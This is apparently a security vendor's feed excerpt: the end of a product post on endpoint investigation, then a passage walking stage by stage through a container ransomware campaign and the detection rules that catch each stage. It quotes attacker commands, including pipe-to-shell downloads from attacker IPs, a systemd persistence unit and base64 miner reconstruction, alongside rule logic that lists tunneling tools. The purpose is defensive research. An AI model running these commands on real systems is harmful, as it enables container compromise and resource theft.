<p>Once an investigation is underway, Elastic AI Assistant and Agent Builder enable natural-language workflows that let analysts interact with data and automation more efficiently. Analysts can summarize observations, ask questions about entities and activity, and move seamlessly from supporting signals to containment or remediation actions. With the introduction of <a href="https://www.elastic.co/security-labs/agent-skills-elastic-security">agent skills</a>, teams can now extend these workflows with reusable, task-specific capabilities, such as alert triage, rule management, and case handling, allowing the assistant to execute complex, multi-step security tasks with the same consistency and repeatability as traditional automation, but through a conversational interface.</p>
<p>In practice, these capabilities reduce the time from an initial alert to full incident understanding, allowing SOC teams to respond faster, focus on high-priority threats, and act with confidence.</p>
<h2 id="builtinforensicsandhostartifactcollection">Built-in forensics and host artifact collection</h2>
<p>During incident response, investigators often need to retrieve additional host artifacts to confirm attacker behavior, identify persistence, or validate user activity.</p>
<p>Elastic Security XDR includes built-in forensic capabilities that allow responders to collect investigative artifacts directly from affected hosts, reducing the need for separate forensic tooling during common investigative tasks. Elastic Defend supports capturing <a href="https://www.elastic.co/docs/solutions/security/endpoint-response-actions#memory-dump">memory snapshots</a> for deeper forensic analysis, while <a href="https://www.elastic.co/docs/solutions/security/investigate/osquery">Osquery Manager</a> enables analysts to run targeted queries to gather and examine host artifacts as part of an investigation.</p>
<p>Forensic visibility is further extended through ongoing collaboration with Osquery. By extending Osquery-based forensics with supplemental tables for common investigative artifacts, Elastic helps uncover evidence such as browser history, AMCache records, and jumplist artifacts. These sources make it easier for analysts to examine user activity and execution history on Windows systems during an investigation. Also available is library of prebuilt forensic queries and packs to extract common investigative artifacts across Windows, macOS, and Linux, including:</p>
<ul>
<li>process listings and execution context  </li>
<li>scheduled tasks, startup items, and persistence mechanisms  </li>
<li>shell history and command execution artifacts  </li>
<li>network configuration and connectivity context  </li>
<li>file hashes and other execution-related artifacts</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt60f1200f41990efe/6a7d8270e02facfb465d353c/image3.png" alt="Osquery forensic packs within Elastic Security" title="Osquery forensic packs within Elastic Security" /></p>
<p>These capabilities turn artifact collection into an embedded  step of the investigation, rather than a separate workflow, so teams can confirm what happened all in one platform and act sooner.</p>
<h2 id="responseactionsthatkeepinvestigationsmoving">Response actions that keep investigations moving</h2>
<p>Once investigators confirm malicious behavior, the priority shifts to containment and remediation. Elastic Security XDR enables analysts to take immediate action directly from the investigation context, isolating a host, terminating suspicious processes, collecting a file from the endpoint, or running a response script to collect additional evidence needed to complete the analysis.</p>
<p>For organizations using third-party EDRs, Elastic Security XDR can orchestrate containment and response across mixed environments, allowing teams to keep investigation, enforcement, and incident record-keeping anchored in a single platform.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt510fc14e7270ac4a/6a7d8273b437702b494d3f9b/image4.png" alt="Isolating a CrowdStrike-managed host directly from Elastic Security" title="Isolating a CrowdStrike-managed host directly from Elastic Security" />  </p>
<div>
  
</div>
<h2 id="controllingremovablemediawithdevicecontrol">Controlling removable media with Device Control</h2>
<p>Investigations often uncover risk paths beyond traditional malware, such as removable media usage or potential USB-based exfiltration. Elastic Security XDR’s Device Control capabilities let teams manage and enforce removable media policies across endpoints, reducing attack surface and preventing unauthorized data transfer.</p>
<p>Device Control also allows teams to automatically block USB devices and maintain a trusted set of approved devices, ensuring policies are enforced consistently across all endpoints.</p>
<h2 id="scalingresponsewithelasticworkflows">Scaling response with Elastic Workflows</h2>
<p>Incident response often follows repeatable steps. When an alert fires, teams enrich it, gather evidence, contain affected hosts, open cases, notify responders, and document decisions, ensuring investigations persist across handoffs and shift changes.</p>
<p><a href="https://www.elastic.co/search-labs/blog/elastic-workflows-automation">Elastic Workflows</a> gives teams a way to encode those steps as a reusable playbook that runs inside the Elastic platform. Workflows are defined declaratively in YAML in Kibana, and can be triggered in multiple ways: when a Kibana alerting rule fires, on a schedule, or manually on demand.</p>
<p>From there, a workflow can execute a sequence of steps that look a lot like what an analyst would do manually:</p>
<ul>
<li>Query Elastic data (including ES|QL), transform results, and branch based on conditions   </li>
<li>Create or update a Case, attach supporting context, and keep an auditable record of what was collected and why.  </li>
<li>Notify downstream systems (Slack, Jira, PagerDuty, and other services) using connectors you’ve already configured, or call internal/external APIs via HTTP steps.</li>
</ul>
<p>This becomes especially impactful when paired with endpoint response capabilities. When an alert fires, teams can automatically isolate the host and kick off a standardized evidence bundle - capture a memory dump, collect a suspicious file (get-file), and list running processes - so responders have what they need immediately.</p>
<p>The net effect is faster execution of the first steps in incident response, while investigations follow consistent playbooks across analysts and shifts. Instead of relying on memory and manual checklists, Workflows helps enforce a repeatable investigation standard and makes it easier to scale response when alert volume spikes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5a7412ea677e7817/6a7d8276c2cc095b1e2466a4/image1.png" alt="Alert Triage workflow built with Elastic Workflows native automation." title="Alert Triage workflow built with Elastic Workflows native automation." /></p>
<h2 id="elasticsecuritylabsresearchthatpowersrealworlddefenses">Elastic Security Labs - Research that powers real-world defenses</h2>
<p>Elastic Security is informed by the work of <a href="https://www.elastic.co/security-labs/about">Elastic Security Labs</a>, a team dedicated to studying real adversary behavior and translating those findings into practical detection and investigation guidance. Threat Command tracks emerging techniques, malware activity, and endpoint tradecraft, then turns that research into updates that matter in day-to-day security operations: new and refined detection rules, improvements to prevention logic, and clearer guidance on how to investigate what you’re seeing.</p>
<p>Elastic Security Labs also publishes technical write-ups and analyses to help the broader community understand how threats operate in the wild. For defenders, that research provides useful context behind detections - why a technique matters, what evidence to look for, and how to scope impact once an alert fires.</p>
<h2 id="tyingitalltogether">Tying it all together</h2>
<p>As a core capability of our agentic security operations platform, Elastic Security XDR unifies traditionally siloed defenses to tackle the speed and complexity of modern threats. An initial host-based signal can quickly spread across endpoints, identities, and cloud services. Agentic workflows and agent skills help analysts investigate and respond at machine speed. Analysts no longer need to stitch together disconnected tools - they can follow attacker activity throughout the environment, combining endpoint prevention with autonomous investigative and response capabilities in a single platform.</p>
<h2 id="learnmore">Learn More</h2>
<p>Visit <a href="https://elastic.co/security/xdr">elastic.co/security/xdr</a> to learn more. Try a free <a href="https://cloud.elastic.co/serverless-registration">Elastic Security trial</a>, explore Elastic Defend with our <a href="https://videos.elastic.co/watch/wVJRXJQR5orNBEkjgUbVRq">Getting Started video</a>, or practice with real malware at <a href="https://ohmymalware.com">ohmymalware.com</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/investigating-from-the-endpoint-across-your-environment</link>
    <guid isPermaLink="false">investigating-from-the-endpoint-across-your-environment</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Jamie Hynds,Caitlin Betz]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt78792ca34ac3640d/6a7d8279bdcff0c0c9c4008c/investigating-from-the-endpoint-across-your-environment.jpg" length="0" type="image/jpeg"/>
    <pubDate>Tue, 24 Mar 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Linux & Cloud Detection Engineering - TeamPCP Container Attack Scenario]]></title>
    <description><![CDATA[This publication provides a real-world walkthrough of TeamPCP's multi-stage container compromise, demonstrating how Elastic's D4C surfaces runtime signals across each stage of the attack chain.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>In <a href="https://www.elastic.co/security-labs/getting-started-with-defend-for-containers">the previous article</a>, we examined how Defend for Containers (D4C) is deployed, how its policy model operates, and how its runtime telemetry is structured. With that foundation in place, the next step is to move from configuration and field analysis to applied detection engineering.</p>
<p>This post walks through a realistic container attack scenario based on the TeamPCP cloud-native ransomware operation, as <a href="https://flare.io/learn/resources/blog/teampcp-cloud-native-ransomware">documented by Flare</a>. Rather than analyzing isolated techniques in abstraction, we follow the attack as it unfolds inside a containerized environment and examine how each stage manifests in D4C telemetry.</p>
<p>When mapped to MITRE ATT\&amp;CK, the activity in this scenario spans nearly the entire attack lifecycle. The intrusion progresses from execution and discovery inside the container to persistence, lateral movement, command-and-control activity, and ultimately impact.</p>
<p>By mapping these behaviors to concrete detection logic, this article demonstrates how D4C enables detection engineers to identify container compromise not as isolated suspicious commands, but as part of a structured attack chain.</p>
<h2 id="teampcpanemergingforceinthecloudnativeandransomwarelandscape">TeamPCP - an emerging force in the cloud native and ransomware landscape</h2>
<p>This scenario walks through the container compromise and propagation stage of the TeamPCP cloud-native ransomware operation, recently researched and documented by Flare. Rather than treating this as an abstract case study, the flow below mirrors how the attack plays out in practice and shows how D4C telemetry and pre-built detections surface each stage of the intrusion.</p>
<p>At a high level, the threat actor’s objectives in this stage are:</p>
<ol>
<li>Gain interactive code execution inside a container  </li>
<li>Determine whether the workload runs in Kubernetes  </li>
<li>Establish durable execution and persistence  </li>
<li>Propagate laterally across pods and nodes  </li>
<li>Prepare the environment for large-scale monetization (mining, ransomware, or resale)</li>
</ol>
<p>Each of these goals leaves behind observable runtime behavior that D4C is well-positioned to detect.</p>
<h3 id="stage1initialexecutionviadownloadandpipetoshell">Stage 1 – Initial execution via download and pipe-to-shell</h3>
<p>The attack begins with a familiar but effective technique: downloading and immediately executing a script via a shell pipeline.</p>
<pre><code>curl -fsSL http://67.217.57[.]240:666/files/proxy.sh | bash
</code></pre>
<p>The intent here is to gain immediate execution while avoiding file creation. This is a classic tradecraft choice: no payload written to disk, no obvious artifact to scan.</p>
<p>From D4C's perspective, this still results in a highly suspicious runtime pattern. An interactive <code>curl</code> process executes inside a container and immediately spawns a shell interpreter. The parent–child relationship, command line, and container context are all captured.</p>
<pre><code>sequence by process.parent.entity_id, container.id with maxspan=1s
  [process where event.type == "start" and event.action == "exec" and 
   process.name in ("curl", "wget")]
  [process where event.action in ("exec", "end") and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox",
     "python*", "perl*", "ruby*", "lua*", "php*"
   ) and
   process.args like (
     "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish",
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh", "/bin/csh",
     "/bin/zsh", "/bin/ksh", "/bin/fish",
     "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
     "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
     "-busybox", "busybox", "/bin/busybox", "/usr/bin/busybox",
     "*python*", "*perl*", "*ruby*", "*lua*", "*php*", "/dev/fd/*"
   )]
</code></pre>
<p>This rule detects the download → interpreter execution pattern, even when no file is written to disk. Detecting this step is critical, as it is the first reliable indicator of hands-on-keyboard activity within a container.</p>
<p>Upon execution, TeamPCP scans the target system for competing mining processes and uses the <code>pkill</code> command to terminate them. </p>
<pre><code>pkill -9 xmrig 2&gt;/dev/null || true
pkill -9 XMRig 2&gt;/dev/null || true
curl -fsSL http://update.aegis.aliyun.com/download/uninstall.sh | bash 2&gt;/dev/null || true
</code></pre>
<p>The competitor-killing logic from TeamPCP is very limited in comparison to its competitors, focusing only on <code>xmrig</code>. Manual process killing in containers is uncommon, especially when done via interactive processes.</p>
<pre><code>process where event.type == "start" and event.action == "exec" and
container.id like "*?" and 
(
  process.name in ("kill", "pkill", "killall") or
  (
    /*
       Account for tools that execute utilities as a subprocess,
       in this case the target utility name will appear as a process arg
    */
    process.name in (
      "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
    ) and
    process.args in (
      "kill", "/bin/kill", "/usr/bin/kill", "/usr/local/bin/kill",
      "pkill", "/bin/pkill", "/usr/bin/pkill", "/usr/local/bin/pkill",
      "killall", "/bin/killall", "/usr/bin/killall", "/usr/local/bin/killall"
    )
  )
)
</code></pre>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/execution_payload_downloaded_and_piped_to_shell.toml">Payload Execution via Shell Pipe Detected by Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/impact_process_killing.toml">Process Killing Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon initial access:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6ae3ab20f565192e/6a7d8579bd2198061b75534c/image4.png" alt="Figure 1: Detection rules triggering for stage 1: Initial Execution via Download and Pipe to Shell" title="Figure 1: Detection rules triggering for stage 1: Initial Execution via Download and Pipe to Shell" />  </p>
<h3 id="stage2kubernetesenvironmentdiscovery">Stage 2 – Kubernetes environment discovery</h3>
<p>After gaining execution, the attacker checks whether the container is running inside Kubernetes by testing for a service account token:</p>
<pre><code>if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]
</code></pre>
<p>This check determines whether the attack can expand beyond the current container. If the token exists, the attacker proceeds to abuse the Kubernetes API. Additionally, the dropped scripts enumerate environment variables and several sensitive file locations, triggering numerous discovery-related alerts.</p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/discovery_service_account_namespace_read.toml">Service Account Namespace Read Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/discovery_environment_enumeration.toml">Environment Variable Enumeration Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/credential_access_service_account_token_or_cert_read.toml">Service Account Token or Certificate Read Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon discovery:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfb4ace25e265c446/6a7d857b448e4e36755bdbb6/image9.png" alt="Figure 2: Detection rules triggering for stage 2: Kubernetes Environment Discovery" title="Figure 2: Detection rules triggering for stage 2: Kubernetes Environment Discovery" />  </p>
<h3 id="stage3lateralmovementviakubepy">Stage 3 – Lateral movement via <code>kube.py</code></h3>
<p>When a service account token is present, the attacker downloads and executes a Python script designed to enumerate pods and execute commands across the cluster:</p>
<pre><code>curl -fsSL http://44.252.85[.]168:666/files/kube.py -o /tmp/k8s.py
python3 /tmp/k8s.py
</code></pre>
<p>At this point, the attacker’s goal is clear: turn a single compromised container into a foothold for cluster-wide propagation using legitimate Kubernetes APIs.</p>
<p>D4C detects this stage through a combination of file and process telemetry. A script is written to a temporary directory and executed immediately via an interpreter, all within an interactive container session.</p>
<p>Detecting an interactive <code>curl</code> command that pulls a file from a remote source is a strong detection signal for stale container workloads. </p>
<pre><code>process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    (process.name == "curl" or process.args in (
      "curl", "/bin/curl", "/usr/bin/curl", "/usr/local/bin/curl"
    )
  ) and
    process.args in (
      "-o", "-O", "--output", "--remote-name",
      "--remote-name-all", "--output-dir"
    )
  ) or
  (
    (process.name == "wget" or process.args in (
      "wget", "/bin/wget", "/usr/bin/wget", "/usr/local/bin/wget"
    )
  ) and
  process.args like ("-*O*", "--output-document=*", "--output-file=*")
  )
) and (
 process.args like~ "*http*" or
 process.args regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}[:/]{1}.*"
) and container.id like "?*"
</code></pre>
<p>The detection rule above detects the remote file download, but we can go one step further by detecting a sequence for file creation, followed by its execution within the same container context:</p>
<pre><code>sequence by container.id, user.id with maxspan=3s
  [file where host.os.type == "linux" and event.type == "creation" and 
   process.interactive == true and container.id like "?*" and
   file.path like (
     "/tmp/*", "/var/tmp/*", "/dev/shm/*", "/root/*", "/home/*"
   ) and
   not process.name in (
     "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf", "apk",   
     "pacman", "rpm", "dpkg"
   )] by file.path
  [process where host.os.type == "linux" and event.type == "start" and 
   event.action == "exec" and process.interactive == true and
   container.id like "?*"] by process.executable
</code></pre>
<p>Here, we focus on interactive processes while excluding files created by package managers, since we expect those to be present in typical workloads.</p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/execution_interactive_file_creation_followed_by_execution.toml">File Creation and Execution Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/command_and_control_interactive_file_download_from_internet.toml">File Download Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon lateral movement:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7eb5f4c6c4b19087/6a7d857e96b5a623758786c5/image10.png" alt="Figure 3: Detection rules triggering for stage 3: Lateral Movement via kube.py" title="Figure 3: Detection rules triggering for stage 3: Lateral Movement via kube.py" />  </p>
<h3 id="stage4establishingpersistenceviasystemd">Stage 4 – Establishing persistence via Systemd</h3>
<p>Persistence mechanisms such as systemd services are generally illogical in container environments. Most containers are designed to be short-lived, single-process workloads that rely on the container runtime or orchestrator for lifecycle management. They typically do not run a full init system, and even when systemd is present, changes made inside the container rarely survive redeployment, rescheduling, or image rebuilds.</p>
<p>As a result, attempts to establish persistence via <code>systemd</code> from within a container are a strong indicator of an anomaly. They often indicate one of two things: either the container is running with elevated privileges and access to the host filesystem, or the attacker expects to escape the container boundary and have their persistence mechanism take effect at the node level.</p>
<p>In the TeamPCP campaign, the attacker attempts to establish persistence by creating a <code>systemd</code> service:</p>
<pre><code>cat&gt;/etc/systemd/system/teampcp-react.service&lt;&lt;SVCEOF
[Unit]
Description=PCPcat React Scanner
After=network.target
[Service]
Type=simple
WorkingDirectory=${dir}
ExecStart=/usr/bin/python3 ${dir}/react.py
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
SVCEOF
</code></pre>
<p>This action is not consistent with normal container behavior. Writing systemd unit files from inside a container suggests an intent to persist beyond the container lifecycle, which is only meaningful if the underlying host is affected.</p>
<p>D4C captures this behavior as file creation activity in sensitive system locations originating from a container context. The following detection logic looks for write-oriented file activity in common Linux persistence paths, including systemd services, timers, cron jobs, sudoers files, and shell profile modifications:</p>
<pre><code>file where event.type != "deletion" and
/* open events currently only log file opens with write intent */
event.action in ("creation", "rename", "open") and (
  file.path like (
    // Cron &amp; Anacron Jobs
    "/etc/cron.allow", "/etc/cron.deny", "/etc/cron.d/*",
    "/etc/cron.hourly/*", "/etc/cron.daily/*", "/etc/cron.weekly/*", 
    "/etc/cron.monthly/*", "/etc/crontab", "/var/spool/cron/crontabs/*", 
    "/var/spool/anacron/*",

    // At Job
    "/var/spool/cron/atjobs/*", "/var/spool/atjobs/*",

    // Sudoers
    "/etc/sudoers*"
  ) or
  (
    // Systemd Service/Timer
    file.path like (
      "/etc/systemd/system/*", "/etc/systemd/user/*",
      "/usr/local/lib/systemd/system/*", "/lib/systemd/system/*", 
      "/usr/lib/systemd/system/*", "/usr/lib/systemd/user/*",
      "/home/*/.config/systemd/user/*", "/home/*/.local/share/systemd/user/*",
      "/root/.config/systemd/user/*", "/root/.local/share/systemd/user/*"
    ) and
    file.extension in ("service", "timer")
  ) or
  (
    // Shell Profile Configuration
    file.path like ("/etc/profile.d/*", "/etc/zsh/*") or (
      file.path like ("/home/*/*", "/etc/*", "/root/*") and
      file.name in (
       "profile", "bash.bashrc", "bash.bash_logout", "csh.cshrc",
        "csh.login", "config.fish", "ksh.kshrc", ".bashrc",
        ".bash_login", ".bash_logout", ".bash_profile", ".bash_aliases", 
        ".zprofile", ".zshrc", ".cshrc", ".login", ".logout", ".kshrc"
      )
    )
  )
) and container.id like "?*" and
not process.name in (
  "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf",
  "apk", "pacman", "rpm", "dpkg"
)
</code></pre>
<p>This detection does not focus solely on <code>systemd</code>. Instead, it models persistence more broadly by covering multiple common Linux persistence vectors that attackers may attempt once code execution is achieved. By explicitly excluding package managers, the rule reduces noise from legitimate update and installation activity.</p>
<p>The detection rule that triggered in this stage is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/persistence_modification_of_persistence_relevant_files.toml">Modification of Persistence Relevant Files Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon persistence:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltab29ad364fc7e226/6a7d8580e3a219b71599c77c/image5.png" alt="Figure 4: Detection rules triggering for stage 4: Establishing Persistence via Systemd" title="Figure 4: Detection rules triggering for stage 4: Establishing Persistence via Systemd" /></p>
<p>When this detection fires in a container context, it is a strong indicator of post-compromise behavior with potential host-level impact. It highlights activity that is not only suspicious but also structurally incompatible with how containers are expected to behave.</p>
<h3 id="stage5installingtoolingatruntime">Stage 5 – Installing tooling at runtime</h3>
<p>In Docker-based deployments, the attacker installs required tooling dynamically:</p>
<pre><code>apk add --no-cache curl bash python3
</code></pre>
<p>This allows the same payload to run across different base images without modification.</p>
<p>From a defender’s perspective, runtime package installation inside a container is a strong indicator of post-deployment tampering. D4C detects this through process execution telemetry tied to known package managers.</p>
<pre><code>process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (
    process.name in (
      "apt", "apt-get", "dnf", "microdnf", "yum", "zypper", "tdnf"
    ) and process.args == "install"
  ) or
  (process.name == "apk" and process.args == "add") or
  (process.name == "pacman" and process.args like "-*S*") or
  (process.name in ("rpm", "dpkg") and process.args in ("-i", "--install"))
) and
process.args like (
  "curl", "wget", "socat", "busybox", "openssl", "torsocks",
  "netcat", "netcat-openbsd", "netcat-traditional", "ncat", "tor",
  "python*", "perl", "node", "nodejs", "ruby", "lua", "bash", "sh",
  "dash", "zsh", "fish", "tcsh", "csh", "ksh"
) and container.id like "?*"
</code></pre>
<p>Not all package installations in containers are malicious. Upon orchestration, containers need to install certain packages to run. However, because threat actors often use package managers to install their required tooling, this is a strong signal for already-deployed container runtimes. </p>
<p>The detection rule that triggered in this stage is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/execution_tool_installation.toml">Tool Installation Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon tool installation:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd4c30ff2ec6a7b3a/6a7d858305b7b54854188bd5/image2.png" alt="Figure 5: Detection rules triggering for stage 5: Installing Tooling at Runtime" title="Figure 5: Detection rules triggering for stage 5: Installing Tooling at Runtime" />  </p>
<h3 id="stage6establishingtunnelingandproxyaccess">Stage 6 – Establishing tunneling and proxy access</h3>
<p>Once stable execution and persistence are in place, TeamPCP shifts focus from access to connectivity. At this stage, the attackers deploy tunneling and proxy tooling such as frps and gost to expose internal services and maintain reliable external access.</p>
<p>The purpose of this step is to convert compromised containers into reusable infrastructure. By establishing tunnels or forwarders, the attackers can pivot into other environments, relay traffic, or reuse the compromised workload as part of a larger attack chain.</p>
<p>D4C detects this activity through process execution telemetry. The execution of known tunneling tools inside containers is uncommon for legitimate workloads and stands out clearly when combined with interactive execution and container context.</p>
<pre><code>process where event.type == "start" and event.action == "exec" and (
  (
    // Tunneling and/or Port Forwarding via process args
    (process.args regex """.*[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}:[0-9]{1,5}.*""") or
    // gost
    (process.name == "gost" and process.args : ("-L*", "-C*", "-R*")) or
    // ssh
    (process.name == "ssh" and (
     process.args like ("-*R*", "-*L*", "-*D*", "-*w*") and 
     not (process.args == "chmod" or process.args like "*rungencmd*"))
    ) or
    // ssh Tunneling and/or Port Forwarding via SSH option
    (process.name == "ssh" and process.args == "-o" and process.args like~(
      "*ProxyCommand*", "*LocalForward*", "*RemoteForward*",
      "*DynamicForward*", "*Tunnel*", "*GatewayPorts*", 
      "*ExitOnForwardFailure*", "*ProxyCommand*", "*ProxyJump*"
      )
    ) or
    // sshuttle
    (process.name == "sshuttle" and
     process.args in ("-r", "--remote", "-l", "--listen")
    ) or
    // earthworm
    (process.args == "-s" and process.args == "-d" and
     process.args == "rssocks"
    ) or
    // socat
    (process.name == "socat" and
     process.args like~ ("TCP4-LISTEN:*", "SOCKS*")
    ) or
    // chisel
    (process.name like~ "chisel*" and process.args in ("client", "server")) or
    // iodine(d), dnscat, hans, ptunnel-ng, ssf, 3proxy &amp; ngrok 
    (process.name in (
      "iodine", "iodined", "dnscat", "hans", "hans-ubuntu", "ptunnel-ng",
      "ssf", "3proxy", "ngrok", "wstunnel", "pivotnacci", "frps", 
      "proxychains"
      )
    )
  )
) and container.id like "?*"
</code></pre>
<p>There are many tunneling and port forwarding tools available on Linux systems. The umbrella rule displayed above leverages a combination of regex, process names, and process arguments to detect commonly observed tunneling activity.</p>
<p>The detection rule that triggered in this stage is available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/command_and_control_tunneling_and_port_forwarding.toml">Tunneling and/or Port Forwarding Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon tunneling and proxy access:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9b7a40ca18cd45e1/6a7d85863ce8e25117cf26e0/image8.png" alt="Figure 6: Detection rules triggering for stage 6: Establishing Tunneling and Proxy Access" title="Figure 6: Detection rules triggering for stage 6: Establishing Tunneling and Proxy Access" />  </p>
<p>Detecting tunneling is important because it often marks the transition from short-lived compromise to sustained attacker presence. When correlated with earlier stages, it provides strong confirmation of intentional, ongoing abuse rather than opportunistic execution.</p>
<h3 id="stage7encodedpayloadexecution">Stage 7 – Encoded payload execution</h3>
<p>To obscure payload logic, the attacker executes a base64-encoded payload directly via Python:</p>
<pre><code>python3 -c "exec(base64.b64decode('&lt;payload&gt;').decode())"
</code></pre>
<p>This technique reduces visibility into the payload itself but introduces distinctive execution characteristics: encoded arguments passed directly to an interpreter in an interactive session.</p>
<pre><code>process where event.type == "start" and event.action == "exec" and process.interactive == true and (
  (process.name in (
    "base64", "base64plain", "base64url", "base64mime", "base64pem",
    "base32", "base16"
    ) and process.args like~ "*-*d*"
  ) or
  (process.name == "xxd" and process.args like~ ("-*r*", "-*p*")) or
  (process.name == "openssl" and process.args == "enc" and
   process.args in ("-d", "-base64", "-a")
  ) or
  (process.name like "python*" and (
    (process.args == "base64" and process.args in ("-d", "-u", "-t")) or
    (process.args == "-c" and process.args like "*base64*" and
     process.args like "*b64decode*")
    )
  ) or
  (process.name like "perl*" and process.args like "*decode_base64*") or
  (process.name like "ruby*" and process.args == "-e" and
   process.args like "*Base64.decode64*"
  )
) and container.id like "?*"
</code></pre>
<p>There are many ways to decode a payload, but the umbrella rule shown above captures the most commonly observed techniques. </p>
<p>The detection rules that triggered in this stage are available here:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/defense_evasion_potential_evasion_via_encoded_payload.toml">Encoded Payload Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/df9c27d82e74eb51e39376f1af30d2beb738c673/rules/integrations/cloud_defend/execution_suspicious_interactive_interpreter_command_execution.toml">Suspicious Interpreter Execution Detected via Defend for Containers</a>  </li>
<li><a href="https://github.com/elastic/detection-rules/blob/ce3916f99fdf7e886d2889d7a815f59a248b7aff/rules/integrations/cloud_defend/defense_evasion_decoded_payload_piped_to_interpreter.toml">Decoded Payload Piped to Interpreter Detected via Defend for Containers</a></li>
</ul>
<p>Resulting in the following detection alerts upon execution:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8c1483e82f96cfef/6a7d8588ead8ecf797ba7bbc/image12.png" alt="Figure 7: Detection rules triggering for stage 7: Encoded Payload Execution" title="Figure 7: Detection rules triggering for stage 7: Encoded Payload Execution" />  </p>
<h3 id="stage8minerdeploymentandexecution">Stage 8 – Miner deployment and execution</h3>
<p>Eventually, the attacker reconstructs a miner from base64, writes it to disk, makes it executable, and launches it:</p>
<pre><code>/bin/sh -c "printf IyEvYmlu&lt;&lt;TRUNCATED&gt;&gt;&gt;***** &gt;&gt; /tmp/miner.b64"
/bin/sh -c "base64 -d /tmp/miner.b64 &gt; /tmp/miner &amp;&amp; chmod +x /tmp/miner &amp;&amp; rm /tmp/miner.b64"
</code></pre>
<p>This stage represents the shift from setup to monetization. The attacker is now actively abusing cluster resources.</p>
<p>As mentioned previously, D4C will detect decoding of the base64 payload using the same rule linked in the previous stage. Three other signals that are important to detect are the creation of a base64 encoded payload, file permission changes in specific directories, and execution of newly created binaries in temporary directories.</p>
<p>For the creation of base64 encoded payloads, an umbrella rule was created that detects the execution of a shell with echo/printf built-ins, and a whitelist of commonly abused command lines:</p>
<pre><code>process where event.type == "start" and event.action == "exec" and 
process.interactive == true and process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish"
) and process.args == "-c" and process.args like ("*echo *", "*printf *") and 
process.args like (
